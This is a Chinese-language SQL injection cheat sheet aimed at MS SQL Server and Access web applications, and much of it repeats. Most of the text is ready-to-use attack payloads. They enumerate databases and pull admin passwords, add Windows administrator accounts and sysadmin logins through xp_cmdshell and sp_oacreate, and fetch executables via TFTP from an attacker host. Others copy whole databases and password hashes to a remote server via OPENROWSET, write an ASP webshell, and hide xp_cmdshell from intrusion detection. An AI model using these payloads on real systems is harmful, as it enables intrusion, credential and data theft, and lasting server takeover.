Sql注入总结（最早源于'or'1'='1）
最重要的表名：
select * from sysobjects
sysobjects ncsysobjects
sysindexes tsysindexes
syscolumns
systypes
sysusers
sysdatabases
sysxlogins
sysprocesses
最重要的一些用户名（默认sql数据库中存在着的）
public
dbo
guest(一般禁止，或者没权限)
db_sercurityadmin
ab_dlladmin
一些默认扩展
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite
xp_availablemedia 驱动器相关
xp_dirtree 目录
xp_enumdsn ODBC连接
xp_loginconfig 服务器安全模式信息
xp_makecab 创建压缩卷
xp_ntsec_enumdomains domain信息
xp_terminate_process 终端进程，给出一个PID
例如：
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
exec xp_webserver
sp_dropextendedproc 'xp_webserver'
bcp "select * FROM test..foo" queryout c:/inetpub/wwwroot/runcommand.asp -c -Slocalhost -Usa -Pfoobar
' group by users.id having 1=1-
' group by users.id, users.username, users.password, users.privs having 1=1-
'; insert into users values( 666, 'attacker', 'foobar', 0xffff )-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable'-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id')-
union select TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS where TABLE_NAME='logintable' where COLUMN_NAME NOT IN ('login_id','login_name')-
union select TOP 1 login_name FROM logintable-
union select TOP 1 password FROM logintable where login_name='Rahul'--
构造语句：查询是否存在xp_cmdshell
' union select @@version,1,1,1--
and 1=(select @@VERSION)
and 'sa'=(select System_user)
' union select ret,1,1,1 from foo--
' union select min(username),1,1,1 from users where username > 'a'-
' union select min(username),1,1,1 from users where username > 'admin'-
' union select password,1,1,1 from users where username = 'admin'--
and user_name()='dbo'
and 0<>(select user_name()-
; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：/WINNT/system32/cmd.exe /c net user swap 5245886 /add'
and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell')
and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否
and 0<>(select top 1 paths from newtable)-- 暴库大法
and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名（从1到5都是系统的id，6以上才可以判断）
创建一个虚拟目录E盘：
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c：/inetpub/wwwroot/mkwebdir.vbs -w "默认 Web 站点" -v "e","e：/"'
访问属性：（配合写入一个webshell）
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c：/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse'
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in('id',...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。。。。。假设存在user_id username ,password 等字段
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin
(union语句到处风靡啊，access也好用
暴库特殊技巧：:%5c='/' 或者把/和/ 修改%5提交
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address'))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));--
http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1
;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test)
http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";--
得到了web路径d:/xxxx,接下来：
http://xx.xx.xx.xx/111.asp?id=3400;use ku1;--
http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);--
传统的存在xp_cmdshell的测试过程：
;exec master..xp_cmdshell 'dir'
;exec master.dbo.sp_addlogin hax;--
;exec master.dbo.sp_password null,hax,hax;--
;exec master.dbo.sp_addsrvrolemember hax sysadmin;--
;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
http：//www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：/WINNT/system32/cmd.exe /c net user swap 5258 /add'
;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C：/WINNT/system32/cmd.exe /c net localgroup administrators swap/add'
http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'-
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat'
如果被限制则可以。
select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax')
传统查询构造：
select * FROM news where id=... AND topic=... AND .....
admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>'
select 123;--
;use master;--
:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
'and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';--
说明:
上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID
ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';--
象下面这样就可以得到第二个表的名字了
ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--<
BR> ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';--
ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';--
ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';--
exec master..xp_servicecontrol 'start', 'schedule'
exec master..xp_servicecontrol 'start', 'server'
sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll'
扩展存储就可以通过一般的方法调用：
exec xp_webserver
一旦这个扩展存储执行过，可以这样删除它:
sp_dropextendedproc 'xp_webserver'
insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-
insert into users values( 667,123,123,0xffff)-
insert into users values ( 123, 'admin''--', 'password', 0xffff)-
;and user>0
;;and (select count(*) from sysobjects)>0
;;and (select count(*) from mysysobjects)>0 //为access数据库
-----------------------------------------------------------通常注射的一些介绍：
A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：
select * from 表名 where 字段=49
注入的参数为ID=49 And [查询条件]，即是生成语句：
select * from 表名 where 字段=49 And [查询条件]
(B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下：
select * from 表名 where 字段='连续剧'
注入的参数为Class=连续剧' and [查询条件] and ''=' ，即是生成语句：
select * from 表名 where 字段='连续剧' and [查询条件] and ''=''
(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：
select * from 表名 where 字段like '%关键字%'
注入的参数为keyword=' and [查询条件] and '%25'='， 即是生成语句：
select * from 表名 where字段like '%' and [查询条件] and '%'='%'
;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0
sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype='U' and status>0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。
;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0
从⑤拿到表名后，用object_id('表名')获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。
post.htm内容：主要是方便输入。
枚举出他的数据表名：
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>'刚才得到的表名'）。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二
表，^^^^^^一个个的读出，直到没有为止。
读字段是这样：
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错，得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错，得到字段名
--------------------------------高级技巧：
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件]
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件]
绕过IDS的检测[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/'
declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/'
1、 开启远程数据库
基本语法
select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )
参数: (1) OLEDB Provider name
1.判断有无注入点
; and 1=1 and 1=2
2.猜表一般的表的名称无非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判断是否存在admin这张表
3.猜帐号数目 如果遇到0< 返回正确页面， 1<返回错误页面，说明帐号数目就是1个
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解字段名称 在len( ) 括号里面加上我们想到的字段名称.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len（用户字段名称name)>0)
and 1=(select count(*) from admin where len（密码字段名称password)>0)
5.猜解各个字段的长度 猜解长度就是把>0变换 直到返回正确页面为止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确 长度是6
and 1=(select count(*) from admin where len(name)=6) 正确
and 1=(select count(*) from admin where len(password)>11) 正确
and 1=(select count(*) from admin where len(password)>12) 错误 长度是12
and 1=(select count(*) from admin where len(password)=12) 正确
6.猜解字符
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位
就这样一次加一个字符这样猜，猜到够你刚才猜出来的多少位了就对了，帐号就算出来了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.
group by users. id having 1=1--
group by users. id,users.username,users.password,users.privs having 1=1--
; insert into users values( 666,attacker,foobar,0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id)-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id,login_name)-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
看服务器打的补丁=出错了打了SP4补丁
and 1=(select @@VERSION)--
看数据库连接账号的权限，返回正常，证明是服务器角色sysadmin权限。
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
判断连接数据库帐号。（采用SA账号连接 返回正常=证明了连接账号是SA）
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--
看xp_cmdshell是否删除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
xp_cmdshell被删除，恢复，支持绝对路径的恢复
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:\inetpub\wwwroot\xplog70.dll--
反向PING自己实验
;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--
加帐号
;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:\WINNT\system32\cmd.exe
/c net user jiaoniang$ 1866574 /add--
创建一个虚拟目录E盘：
;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\mkwebdir.vbs -w "默认Web站点" -v "e","e：\"--
访问属性：（配合写入一个webshell）
declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
爆库 特殊技巧：：%5c=\ 或者把/和\ 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到库名（从1到5都是系统的id，6以上才可以判断）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的数据库名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段，假设为 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 来暴出其他的字段
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名
依次可以得到密码。假设存在user_id username,password 等字段
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用）
得到WEB路径
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread
@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\,@value_name=/,
values=@testOUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image类型的表cmd
存在xp_cmdshell的测试过程：
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_servicecontrol start,schedule 启动服务
exec master..xp_servicecontrol start,server
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：\WINNT\system32
\cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：\WINNT\system32\cmd.exe
/c net localgroup administrators jiaoniang$ /add
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat
如果被限制则可以。
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
查询构造：
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 显示有一个叫ffff的用户哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--
;update [users] set email=(select top 1 count(id) from password) where name=ffff;--
;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--
;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--
上面的语句是得到数据库中的第一个用户表，并把表名放在ffff用户的邮箱字段中。
通过查看ffff的用户资料可得第一个用表叫ad
然后根据表名ad得到这个表的ID 得到第二个表的名字
insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char
(0x69)+char(0x73),0xffff)--
insert into users values( 667,123,123,0xffff)--
insert into users values ( 123,admin--,password,0xffff)--
;and user>0
;and (select count(*) from sysobjects)>0
;and (select count(*) from mysysobjects)>0 //为access数据库
枚举出数据表名
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--
这是将第一个表名更新到aaa的字段处。
读出第一个表，第二个表可以这样读出来（在条件后加上 and name<>；刚才得到的表名）。
;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表，一个个的读出，直到没有为止。
读字段是这样：
;update aaa set aaa=(select top 1 col_name(object_id（表名），1));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
;update aaa set aaa=(select top 1 col_name(object_id（表名），2));--
然后id=152 and exists(select * from aaa where aaa>5)出错，得到字段名
[获得数据表名][将字段值更新为表名，再想法读出这个字段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>；你得到的表名 查出一个加一个])
[ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2，…）
通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组]
[获得数据表字段名][将字段值更新为字段名，再想法读出这个字段的值就可得到字段名]
update 表名 set 字段=(select top 1 col_name(object_id（要查询的数据表名），字段列如：1) [ where 条件]
绕过IDS的检测[使用变量]
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:\
;declare @a sysname set @a=xp+_cm’+’dshell exec @a dir c:\
开启远程数据库
基本语法
select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )
参数： (1) OLEDB Provider name
其中连接字符串参数可以是任何端口用来连接，比如
select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table
复制目标主机的整个数据库insert所有远程表到本地表。
基本语法：
insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2
这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口，指向需要的地方，比如：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from
table2
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)
select * from user_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)
select * from user_database.dbo.syscolumns
复制数据库：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2
复制哈西表（HASH）登录密码的hash存储于sysxlogins中。方法如下：
insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select
* from database.dbo.sysxlogins
得到hash之后，就可以进行暴力破解。
遍历目录的方法：先创建一个临时表：temp
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs c:\;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- 获得所有子目录的目录树结构，并寸入temp表中
;insert into temp(id) exec master.dbo.xp_cmdshell type c:\web\index.asp;-- 查看某个文件的内容
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\;--
;insert into temp(id) exec master.dbo.xp_cmdshell dir c:\ *.asp /s/a;--
;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc
;insert into temp(id,num1) exec master.dbo.xp_dirtree c:\;-- （xp_dirtree适用权限PUBLIC）
写入表：
语句1：and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--
语句2：and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--
语句3：and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--
语句4：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
语句5：and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--
语句6：and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--
语句7：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
语句8：and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--
语句9：and 1=(SELECT IS_MEMBER(db_owner));--
把路径写到表中去：
;create table dirs(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree c:\--
and 0<>(select top 1 paths from dirs)--
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--
;create table dirs1(paths varchar(100),id int)--
;insert dirs exec master.dbo.xp_dirtree e:\web--
and 0<>(select top 1 paths from dirs1)--
把数据库备份到网页目录：下载
;declare @a sysname; set @a=db_name();backup database @a to disk=e:\web\down.bak;--
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)
and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。
and 1=(select user_id from USER_LOGIN)
and 0=(select user from USER_LOGIN where user>1)
-=-wscript.shellexample -=-
declare @o int
exec sp_oacreate wscript.shell,@o out
exec sp_oamethod @o,run,NULL,notepad.exe
; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--
declare @o int,@f int,@t int,@ret int
declare @line varchar(8000)
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,opentextfile,@f out,c:\boot.ini,1
exec @ret = sp_oamethod @f,readline,@line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_oamethod @f,readline,@line out
end
declare @o int,@f int,@t int,@ret int
exec sp_oacreate scripting.filesystemobject,@o out
exec sp_oamethod @o,createtextfile,@f out,c:\inetpub\wwwroot\foo.asp,1
exec @ret = sp_oamethod @f,writeline,NULL,
<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>
declare @o int,@ret int
exec sp_oacreate speech.voicetext,@o out
exec sp_oamethod @o,register,NULL,foo,bar
exec sp_oasetproperty @o,speed,150
exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05
; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar exec
sp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--
xp_dirtree适用权限PUBLIC
exec master.dbo.xp_dirtree c:\
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型，depth字段是整形字段。
create table dirs(paths varchar(100),id int)
建表，这里建的表是和上面xp_dirtree相关连，字段相等、类型相同。
insert dirs exec master.dbo.xp_dirtree c:\
只要我们建表与存储进程返回的字段相定义相等就能够执行！达到写表的效果.
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